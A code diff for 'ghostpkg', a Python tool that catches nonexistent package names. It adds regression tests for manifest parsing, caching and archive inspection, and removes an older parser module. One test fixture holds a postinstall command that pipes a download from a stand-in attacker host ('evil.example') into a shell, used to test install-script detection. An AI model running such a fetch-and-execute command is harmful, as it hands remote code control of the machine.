 
5
5
  [project]
6
6
  name = "ghostpkg"
7
- version = "0.6.0"
7
+ version = "0.7.0"
8
8
  description = "Catch package names that do not exist before you install them"
9
9
  readme = "README.en.md" # English page for PyPI; the repo main page is Ukrainian
10
10
  requires-python = ">=3.9"
@@ -0,0 +1,244 @@
1
+ """Regressions from the production-readiness audit.
2
+
3
+ Each test here corresponds to a bug that shipped. Several of them were silent:
4
+ the tool reported success having never performed the check, which for a
5
+ security tool is worse than crashing.
6
+ """
7
+
8
+ from __future__ import annotations
9
+
10
+ import io
11
+ import json
12
+ import tarfile
13
+ import threading
14
+
15
+ import pytest
16
+
17
+ from ghostpkg.assess import Verdict
18
+ from ghostpkg.cache import Cache
19
+ from ghostpkg.cli import evaluate, main
20
+ from ghostpkg.inspection import inspect_archive
21
+ from ghostpkg.manifests import (
22
+ UnsupportedManifest,
23
+ load_manifest,
24
+ parse_package_json,
25
+ parse_requirements,
26
+ )
27
+ from ghostpkg.registries import PackageFacts, RegistryError
28
+
29
+
30
+ class TestPrefixFilterDroppedRealPackages:
31
+ """Lines starting with `http` were skipped to drop bare URLs. That also
32
+ dropped `httpx`, `httpcore` and `httplib2` -- silently."""
33
+
34
+ @pytest.mark.parametrize("name", ["httpx", "httpcore", "httplib2", "httpretty"])
35
+ def test_http_prefixed_names_are_kept(self, name):
36
+ assert parse_requirements(f"{name}==1.0\n") == [name]
37
+
38
+ def test_bare_urls_are_still_skipped(self):
39
+ text = "https://example.com/pkg-1.0.tar.gz\nrequests\n"
40
+ assert parse_requirements(text) == ["requests"]
41
+
42
+
43
+ class TestDirectReferencesAndPrivateIndexes:
44
+ """`name @ url` states its own source, so the public registry has no say.
45
+ Treating it as a plain name blocked every internal package a company had."""
46
+
47
+ def test_direct_reference_is_skipped(self):
48
+ text = "internal-lib @ git+https://github.com/acme/internal-lib\nrequests\n"
49
+ assert parse_requirements(text) == ["requests"]
50
+
51
+ def test_direct_reference_with_extras_is_skipped(self):
52
+ assert parse_requirements("internal[all] @ https://x/y.whl\n") == []
53
+
54
+ @pytest.mark.parametrize(
55
+ "line",
56
+ [
57
+ "--index-url https://pypi.acme.internal/simple",
58
+ "--extra-index-url https://other/simple",
59
+ "-e .",
60
+ "--hash=sha256:abc123",
61
+ "./local-dir",
62
+ ],
63
+ )
64
+ def test_option_and_path_lines_are_skipped(self, line):
65
+ assert parse_requirements(f"{line}\nrequests\n") == ["requests"]
66
+
67
+
68
+ class TestManifestDetection:
69
+ """`README.txt` parsed as requirements yielded ['Install', 'Run', 'numpy'],
70
+ two of which do not exist -- confident nonsense from a security tool."""
71
+
72
+ def test_arbitrary_txt_is_refused(self, tmp_path):
73
+ path = tmp_path / "README.txt"
74
+ path.write_text("Install ghostpkg today.\nRun the scanner\n", encoding="utf-8")
75
+ with pytest.raises(UnsupportedManifest):
76
+ load_manifest(path)
77
+
78
+ @pytest.mark.parametrize(
79
+ "filename",
80
+ [
81
+ "requirements.txt",
82
+ "requirements-dev.txt",
83
+ "dev-requirements.txt",
84
+ "constraints.txt",
85
+ "reqs.in",
86
+ ],
87
+ )
88
+ def test_real_requirements_filenames_are_accepted(self, tmp_path, filename):
89
+ path = tmp_path / filename
90
+ path.write_text("requests\n", encoding="utf-8")
91
+ assert load_manifest(path) == (["requests"], "pypi")
92
+
93
+
94
+ class TestIncludesAreFollowed:
95
+ """`-r base.txt` was dropped, so half a project went unchecked."""
96
+
97
+ def test_include_is_read(self, tmp_path):
98
+ (tmp_path / "base.txt").write_text("flask\njinja2\n", encoding="utf-8")
99
+ (tmp_path / "requirements.txt").write_text("-r base.txt\nrequests\n", encoding="utf-8")
100
+ names, _ = load_manifest(tmp_path / "requirements.txt")
101
+ assert set(names) == {"flask", "jinja2", "requests"}
102
+
103
+ def test_constraint_include_is_read(self, tmp_path):
104
+ (tmp_path / "c.txt").write_text("pinned-thing\n", encoding="utf-8")
105
+ (tmp_path / "requirements.txt").write_text("-c c.txt\n", encoding="utf-8")
106
+ assert load_manifest(tmp_path / "requirements.txt")[0] == ["pinned-thing"]
107
+
108
+ def test_a_cycle_terminates(self, tmp_path):
109
+ (tmp_path / "requirements.txt").write_text("-r other.txt\na\n", encoding="utf-8")
110
+ (tmp_path / "other.txt").write_text("-r requirements.txt\nb\n", encoding="utf-8")
111
+ names, _ = load_manifest(tmp_path / "requirements.txt")
112
+ assert set(names) == {"a", "b"}
113
+
114
+ def test_a_missing_include_is_ignored(self, tmp_path):
115
+ (tmp_path / "requirements.txt").write_text("-r nope.txt\nrequests\n", encoding="utf-8")
116
+ assert load_manifest(tmp_path / "requirements.txt")[0] == ["requests"]
117
+
118
+
119
+ class TestOneFailureDoesNotDiscardTheScan:
120
+ """pool.map re-raised the first error while iterating, throwing away every
121
+ confirmed BLOCK with it and skipping the cache write entirely."""
122
+
123
+ def test_confirmed_blocks_survive_a_failure(self, monkeypatch):
124
+ def fake_fetch(name, ecosystem):
125
+ if name == "boom":
126
+ raise RegistryError("HTTP 429")
127
+ return PackageFacts(name=name, ecosystem=ecosystem, exists=name != "ghost")
128
+
129
+ monkeypatch.setattr("ghostpkg.cli.fetch", fake_fetch)
130
+ findings = evaluate(["a", "ghost", "boom", "b"], "pypi", strict=False, cache=None)
131
+
132
+ by_name = {f.name: f.verdict for f in findings}
133
+ assert by_name["ghost"] is Verdict.BLOCK
134
+ assert by_name["boom"] is Verdict.ERROR
135
+ assert by_name["a"] is Verdict.OK
136
+
137
+ def test_an_unchecked_name_is_never_a_pass(self, monkeypatch):
138
+ monkeypatch.setattr(
139
+ "ghostpkg.cli.fetch",
140
+ lambda name, ecosystem: (_ for _ in ()).throw(RegistryError("offline")),
141
+ )
142
+ assert main(["check", "requests", "--no-cache"]) == 2
143
+
144
+ def test_repeated_names_are_looked_up_once(self, monkeypatch):
145
+ calls = []
146
+
147
+ def fake_fetch(name, ecosystem):
148
+ calls.append(name)
149
+ return PackageFacts(name=name, ecosystem=ecosystem, exists=True)
150
+
151
+ monkeypatch.setattr("ghostpkg.cli.fetch", fake_fetch)
152
+ findings = evaluate(["requests"] * 8, "pypi", strict=False, cache=None)
153
+ assert calls == ["requests"]
154
+ assert len(findings) == 8
155
+
156
+
157
+ class TestCacheKeysPerEcosystem:
158
+ """npm names are case-sensitive; PyPI names are not. One lowercased key
159
+ served `JSONStream`'s facts for `jsonstream` -- two different real
160
+ packages, so a wrong `exists` and a wrong verdict."""
161
+
162
+ def facts(self, name, ecosystem):
163
+ return PackageFacts(
164
+ name=name, ecosystem=ecosystem, exists=True,
165
+ age_days=4000, release_count=30, has_repo_url=True,
166
+ )
167
+
168
+ def test_npm_names_stay_distinct(self, tmp_path):
169
+ cache = Cache(directory=tmp_path)
170
+ cache.put(self.facts("JSONStream", "npm"))
171
+ assert cache.get("npm", "jsonstream") is None
172
+
173
+ def test_pypi_names_are_normalised_per_pep503(self, tmp_path):
174
+ cache = Cache(directory=tmp_path)
175
+ cache.put(self.facts("zope.interface", "pypi"))
176
+ assert cache.get("pypi", "zope-interface") is not None
177
+ assert cache.get("pypi", "Zope_Interface") is not None
178
+
179
+ def test_concurrent_writes_do_not_lose_entries(self, tmp_path):
180
+ cache = Cache(directory=tmp_path)
181
+ names = [f"pkg-{i}" for i in range(200)]
182
+
183
+ def worker(chunk):
184
+ for name in chunk:
185
+ cache.put(self.facts(name, "pypi"))
186
+
187
+ threads = [
188
+ threading.Thread(target=worker, args=(names[i::4],)) for i in range(4)
189
+ ]
190
+ for thread in threads:
191
+ thread.start()
192
+ for thread in threads:
193
+ thread.join()
194
+
195
+ assert all(cache.get("pypi", name) is not None for name in names)
196
+
197
+
198
+ class TestDeepReadsOnlyTheTopLevelInstallScript:
199
+ """Matching on basename alone judged a package by test fixtures it shipped,
200
+ and install signals block a young package."""
201
+
202
+ def sdist(self, files):
203
+ buffer = io.BytesIO()
204
+ with tarfile.open(fileobj=buffer, mode="w:gz") as archive:
205
+ for path, text in files.items():
206
+ data = text.encode()
207
+ info = tarfile.TarInfo(path)
208
+ info.size = len(data)
209
+ archive.addfile(info, io.BytesIO(data))
210
+ return buffer.getvalue()
211
+
212
+ def test_nested_fixture_is_ignored(self):
213
+ archive = self.sdist({
214
+ "mylib-0.1/setup.py": "from setuptools import setup\nsetup(name='x')\n",
215
+ "mylib-0.1/tests/fixtures/setup.py": "import subprocess\nsubprocess.run(['x'])\n",
216
+ })
217
+ assert inspect_archive(archive, "pypi") == []
218
+
219
+ def test_the_real_setup_py_is_still_read(self):
220
+ archive = self.sdist({"mylib-0.1/setup.py": "import subprocess\nsubprocess.run([])\n"})
221
+ assert [s.kind for s in inspect_archive(archive, "pypi")] == ["subprocess"]
222
+
223
+ def test_vendored_package_json_is_ignored(self):
224
+ archive = self.sdist({
225
+ "package/package.json": json.dumps({"scripts": {"build": "tsc"}}),
226
+ "package/node_modules/evil/package.json": json.dumps(
227
+ {"scripts": {"postinstall": "curl http://evil.example/x | sh"}}
228
+ ),
229
+ })
230
+ assert inspect_archive(archive, "npm") == []
231
+
232
+
233
+ class TestScanArgumentHandling:
234
+ def test_directory_is_refused_not_crashed(self, tmp_path):
235
+ assert main(["scan", str(tmp_path)]) == 2
236
+
237
+ def test_missing_file_is_refused(self, tmp_path):
238
+ assert main(["scan", str(tmp_path / "nope.txt")]) == 2
239
+
240
+
241
+ class TestPeerDependenciesAreRead:
242
+ def test_peer_dependencies_included(self):
243
+ text = json.dumps({"dependencies": {"a": "1"}, "peerDependencies": {"b": "2"}})
244
+ assert set(parse_package_json(text)) == {"a", "b"}
@@ -1,193 +0,0 @@
1
- """Manifest parsing.
2
-
3
- Each format is recognised explicitly. Guessing is what made an earlier version
4
- read `pyproject.toml` with the requirements.txt parser and report TOML keys as
5
- package names -- `build-backend` came back "does not exist", `version` came back
6
- "ok" because a package of that name happens to exist. A security tool that
7
- confidently reports nonsense is worse than one that refuses to run.
8
- """
9
-
10
- from __future__ import annotations
11
-
12
- import json
13
- import re
14
- from pathlib import Path
15
-
16
- REQUIREMENT_LINE = re.compile(r"^\s*([A-Za-z0-9][A-Za-z0-9._-]*)")
17
-
18
- SUPPORTED = "requirements*.txt, pyproject.toml, package.json"
19
-
20
-
21
- class UnsupportedManifest(ValueError):
22
- """The file is not a manifest ghostpkg knows how to read."""
23
-
24
-
25
- def parse_requirements(text: str) -> list[str]:
26
- names = []
27
- for raw in text.splitlines():
28
- line = raw.strip()
29
- if not line or line.startswith(("#", "-", "git+", "http")):
30
- continue
31
- match = REQUIREMENT_LINE.match(line)
32
- if match:
33
- names.append(match.group(1))
34
- return names
35
-
36
-
37
- def parse_package_json(text: str) -> list[str]:
38
- data = json.loads(text)
39
- names: list[str] = []
40
- for key in ("dependencies", "devDependencies", "optionalDependencies"):
41
- names.extend((data.get(key) or {}).keys())
42
- return names
43
-
44
-
45
- def _requirement_name(spec: str) -> str | None:
46
- """Take the project name off a PEP 508 requirement string."""
47
- spec = spec.strip()
48
- if not spec or spec.startswith(("#", "-")):
49
- return None
50
- match = REQUIREMENT_LINE.match(spec)
51
- return match.group(1) if match else None
52
-
53
-
54
- def _toml_arrays(text: str, table: str, key: str) -> list[str]:
55
- """Read a string array out of one TOML table without a TOML parser.
56
-
57
- Only the shapes that appear in dependency declarations are handled:
58
- `key = ["a", "b"]` on one line, or spread across several. This exists
59
- because tomllib is 3.11+ and ghostpkg supports 3.9 with no dependencies.
60
- """
61
- lines = text.splitlines()
62
- current = ""
63
- collected: list[str] = []
64
- depth = 0
65
- buffer = ""
66
-
67
- for raw in lines:
68
- line = raw.strip()
69
- if depth == 0:
70
- if line.startswith("[") and line.endswith("]"):
71
- current = line[1:-1].strip().strip('"')
72
- continue
73
- if current != table:
74
- continue
75
- stripped = line.split("#", 1)[0].strip()
76
- if not stripped.startswith(key):
77
- continue
78
- after = stripped[len(key):].lstrip()
79
- if not after.startswith("="):
80
- continue
81
- buffer = after[1:].strip()
82
- if not buffer.startswith("["):
83
- continue
84
- depth = 1
85
- buffer = buffer[1:]
86
- else:
87
- buffer += " " + line.split("#", 1)[0].strip()
88
-
89
- if depth:
90
- if "]" in buffer:
91
- buffer = buffer[: buffer.index("]")]
92
- depth = 0
93
- collected.extend(re.findall(r'["\']([^"\']+)["\']', buffer))
94
- buffer = ""
95
- return collected
96
-
97
-
98
- def _toml_table_keys(text: str, table: str) -> list[str]:
99
- """Read the keys of one TOML table (`name = value` lines)."""
100
- keys: list[str] = []
101
- current = ""
102
- for raw in text.splitlines():
103
- line = raw.split("#", 1)[0].strip()
104
- if line.startswith("[") and line.endswith("]"):
105
- current = line[1:-1].strip().strip('"')
106
- continue
107
- if current != table or "=" not in line:
108
- continue
109
- name = line.split("=", 1)[0].strip().strip('"').strip("'")
110
- if name:
111
- keys.append(name)
112
- return keys
113
-
114
-
115
- def parse_pyproject(text: str) -> list[str]:
116
- """Dependencies from PEP 621 and from Poetry.
117
-
118
- Uses tomllib where it exists (3.11+) and a narrow fallback parser below
119
- that, because adding a TOML dependency would contradict the whole point
120
- of this tool.
121
- """
122
- try:
123
- import tomllib # noqa: PLC0415
124
- except ImportError:
125
- tomllib = None # type: ignore[assignment]
126
-
127
- names: list[str] = []
128
-
129
- if tomllib is not None:
130
- data = tomllib.loads(text)
131
- project = data.get("project") or {}
132
- for spec in project.get("dependencies") or []:
133
- name = _requirement_name(spec)
134
- if name:
135
- names.append(name)
136
- for group in (project.get("optional-dependencies") or {}).values():
137
- for spec in group:
138
- name = _requirement_name(spec)
139
- if name:
140
- names.append(name)
141
- poetry = ((data.get("tool") or {}).get("poetry") or {})
142
- for section in ("dependencies", "dev-dependencies"):
143
- for name in (poetry.get(section) or {}):
144
- if name.lower() != "python":
145
- names.append(name)
146
- for group in ((poetry.get("group") or {}).values()):
147
- for name in (group.get("dependencies") or {}):
148
- if name.lower() != "python":
149
- names.append(name)
150
- else:
151
- for spec in _toml_arrays(text, "project", "dependencies"):
152
- name = _requirement_name(spec)
153
- if name:
154
- names.append(name)
155
- # optional-dependencies is a table of arrays; scan every key in it
156
- for raw in text.splitlines():
157
- stripped = raw.split("#", 1)[0].strip()
158
- if stripped.startswith("[project.optional-dependencies]"):
159
- break
160
- for key in _toml_table_keys(text, "project.optional-dependencies"):
161
- for spec in _toml_arrays(text, "project.optional-dependencies", key):
162
- name = _requirement_name(spec)
163
- if name:
164
- names.append(name)
165
- for table in ("tool.poetry.dependencies", "tool.poetry.dev-dependencies"):
166
- for name in _toml_table_keys(text, table):
167
- if name.lower() != "python":
168
- names.append(name)
169
-
170
- seen: set[str] = set()
171
- unique = []
172
- for name in names:
173
- if name not in seen:
174
- seen.add(name)
175
- unique.append(name)
176
- return unique
177
-
178
-
179
- def load_manifest(path: Path) -> tuple[list[str], str]:
180
- """Return (package names, ecosystem). Raises UnsupportedManifest."""
181
- name = path.name.lower()
182
- text = path.read_text(encoding="utf-8")
183
-
184
- if name == "package.json":
185
- return parse_package_json(text), "npm"
186
- if name == "pyproject.toml":
187
- return parse_pyproject(text), "pypi"
188
- if name.endswith(".txt"):
189
- return parse_requirements(text), "pypi"
190
-
191
- raise UnsupportedManifest(
192
- f"don't know how to read {path.name!r}. Supported: {SUPPORTED}"
193
- )
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes